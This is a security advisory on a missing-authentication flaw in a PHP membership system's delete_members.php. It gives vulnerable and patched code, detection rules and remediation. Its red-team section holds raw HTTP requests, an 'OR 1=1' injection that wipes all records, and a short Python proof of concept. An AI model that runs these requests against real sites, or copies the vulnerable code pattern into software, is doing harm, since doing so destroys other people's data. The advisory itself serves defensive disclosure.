CVE-2025-70150

Executive Summary

CVE-2025-70150 is a critical missing authentication vulnerability in CodeAstro Membership Management System 1.0. The flaw resides in delete_members.php, which allows any unauthenticated attacker to delete arbitrary member records by simply passing an id parameter. With a CVSS score of 9.8, this vulnerability can lead to complete data loss and service disruption. No patch is currently available from the vendor, and no public exploit code has been released, but the attack vector is trivial to execute.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – impact confined to the vulnerable component.
• Confidentiality (C): High (H) – member data could be exposed if deletion is logged or if the attacker can infer data from deletion patterns.
• Integrity (I): High (H) – attacker can delete records, corrupting the database.
• Availability (A): High (H) – mass deletion can render the system unusable.

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication.

Deep Dive & Mechanics

The vulnerability exists because delete_members.php does not enforce any authentication or authorization checks before processing the id parameter. The script likely executes a SQL DELETE query directly based on the user-supplied id. An attacker can send a GET or POST request to delete_members.php?id=<value> and delete any member record. The lack of input validation also opens the door to SQL injection, though the primary issue is missing authentication.

Root Cause: The developer omitted session validation or token checks in delete_members.php, assuming that only authenticated users would access it. This is a classic CWE-306 (Missing Authentication for Critical Function).

Vulnerable vs. Patched Code

Vulnerable Code (delete_members.php):

<?php
include 'db_connect.php';
$id = $_GET['id'];
mysqli_query($conn, "DELETE FROM members WHERE id = $id");
header('Location: members.php');
?>

Patched Code (hypothetical):

<?php
session_start();
include 'db_connect.php';
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}
$id = intval($_GET['id']);
$stmt = $conn->prepare("DELETE FROM members WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
header('Location: members.php');
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install XAMPP or any PHP web server.
2. Download CodeAstro Membership Management System 1.0 from the official source.
3. Place the files in the web root and configure the database.
4. Ensure delete_members.php is accessible.

Exploitation Steps:

1. Identify the target URL: http://target/membership/delete_members.php
2. Send a GET request to delete a member with ID 1:

   GET /membership/delete_members.php?id=1 HTTP/1.1
   Host: target
   

3. To delete all members, use a loop or SQL injection:

   GET /membership/delete_members.php?id=1 OR 1=1 HTTP/1.1
   Host: target
   

Proof of Concept (PoC) Script:

import requests

target = "http://target/membership/delete_members.php"
member_id = "1"
response = requests.get(f"{target}?id={member_id}")
if response.status_code == 200:
    print(f"Member {member_id} deleted successfully.")
else:
    print("Failed to delete member.")

Blue Team

Detection:

• Monitor web server logs for requests to delete_members.php without a preceding login session.
• Look for abnormal patterns like multiple id parameters or SQL-like strings in the id parameter.

Hunting:

• Search for HTTP requests containing delete_members.php?id= in access logs.
• Correlate with session logs to identify unauthenticated requests.

Indicators of Compromise (IOCs)

• Network: HTTP GET/POST requests to /delete_members.php with an id parameter.
• Logs: Web server access logs showing delete_members.php?id= from IPs not associated with authenticated sessions.
• Database: Missing member records or sudden drops in member count.
• File: No file-based IOCs; the attack is purely network-driven.

Detection Engineering

YARA Rule

rule CVE_2025_70150_Delete_Members
{
    meta:
        description = "Detects requests to delete_members.php without authentication"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-70150"
    strings:
        $php_script = "delete_members.php"
        $id_param = "id="
    condition:
        $php_script and $id_param
}

Sigma Rule

title: Unauthenticated Member Deletion Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to delete_members.php without authentication
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "delete_members.php?id="
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70150 - Unauthenticated Member Deletion"; flow:to_server; content:"GET"; http_method; content:"delete_members.php"; http_uri; content:"id="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable delete_members.php or restrict access via .htaccess:

   <Files "delete_members.php">
       Require all denied
   </Files>
   

2. Implement authentication by adding session checks and CSRF tokens.
3. Use prepared statements to prevent SQL injection.

Long-Term Fix:

• Replace the vulnerable script with a patched version that includes authentication and input validation.
• Monitor the vendor for an official patch; if none is provided, consider migrating to a different membership management solution.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block requests to delete_members.php from unauthenticated sources.
• Enable detailed logging and alerting for all delete_members.php requests.

Valters IT
Securing Digital Frontiers